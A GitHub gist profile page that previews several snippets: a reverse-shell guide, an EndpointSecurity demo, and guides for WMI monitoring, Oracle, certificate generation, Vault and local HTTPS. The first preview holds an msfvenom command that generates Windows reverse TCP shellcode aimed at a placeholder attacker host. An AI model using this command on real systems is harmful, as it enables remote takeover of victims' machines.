Skip to content

Instantly share code, notes, and snippets.

View anubhavg-icpl's full-sized avatar

Anubhav Gain anubhavg-icpl

View GitHub Profile

🛠️ Step-by-Step Guide to Creating a C# Reverse Shell

1. Generate Shellcode with msfvenom

Use msfvenom to create shellcode for a reverse TCP shell. Replace YOUR_IP with your attacker's IP address and YOUR_PORT with the desired port number:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f csharp
@anubhavg-icpl
anubhavg-icpl / EndpointSecurityDemo.m
Created April 23, 2025 10:10 — forked from Omar-Ikram/EndpointSecurityDemo.m
A demo of using Apple's EndpointSecurity framework - tested on macOS Monterey 12.2.1 (21D62)
//
// main.m
// EndpointSecurityDemo
//
// Created by Omar Ikram on 17/06/2019 - macOS Catalina 10.15 Beta 1 (19A471t)
// Updated by Omar Ikram on 15/08/2019 - macOS Catalina 10.15 Beta 5 (19A526h)
// Updated by Omar Ikram on 01/12/2019 - macOS Catalina 10.15 (19A583)
// Updated by Omar Ikram on 31/01/2021 - macOS Big Sur 11.1 (20C69)
// Updated by Omar Ikram on 07/05/2021 - macOS Big Sur 11.3.1 (20E241)
// Updated by Omar Ikram on 04/07/2021 - macOS Monterey 12 Beta 2 (21A5268h)

https://community.icinga.com/t/monitoring-windows-remotely-through-wmi/2007

Below is an example document that explains how to set up and use remote Windows monitoring through WMI with Icinga. You can adjust paths, usernames, and parameters as needed for your environment.


Monitoring Windows Remotely via WMI with Icinga

This guide details how to monitor Windows machines without installing an agent by leveraging the Windows Management Instrumentation (WMI) layer. It focuses on using the check_wmi_plus plugin with Icinga, along with the WMIC client on Linux. Although other methods (e.g. PowerShell, SSH, SNMP) exist, this guide covers the WMI solution primarily for legacy environments (Windows Server 2012 and later).

Based on the documentation, I'll help guide you through installing Oracle Database Free on Oracle Linux 9. Here are the steps:

  1. First, log in as the root user.

  2. Install the Oracle Database Preinstallation RPM:

dnf -y install oracle-database-preinstall-23ai
  1. Go to the Oracle Database Free software download page:
@anubhavg-icpl
anubhavg-icpl / cert_gen.sh
Created November 24, 2024 08:21
A certficate generator for communication can be use for internal.
#!/bin/bash
# create-ca.sh - Script to create a Certificate Authority and generate certificates
# Create directory structure
mkdir -p ca/{root-ca,intermediate-ca,certs,private,crl,csr}
chmod 700 ca/private
# Create root CA configuration file
cat > ca/root-ca.conf << EOL
[ req ]
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.

HashiCorp Vault and CoreDNS Setup Guide

1. Install HashiCorp Vault

First, let's install HashiCorp Vault on your system:

# Download and install Vault
curl -fsSL https://apt.releases.hashicorp.com/gpg | sudo apt-key add -
sudo apt-add-repository "deb [arch=amd64] https://apt.releases.hashicorp.com $(lsb_release -cs) main"

Setting up HTTPS for Local VMs with Custom Domains

This guide will walk you through setting up a system to serve your local VMs over HTTPS using custom domain names (e.g., https://xyz.local). We'll use the following components:

  1. Hypervisor (e.g., VirtualBox, VMware, or Hyper-V)
  2. CoreDNS for local DNS resolution
  3. NGINX as a reverse proxy
  4. Smallstep/certificates for certificate management

1. Set up your Hypervisor and VMs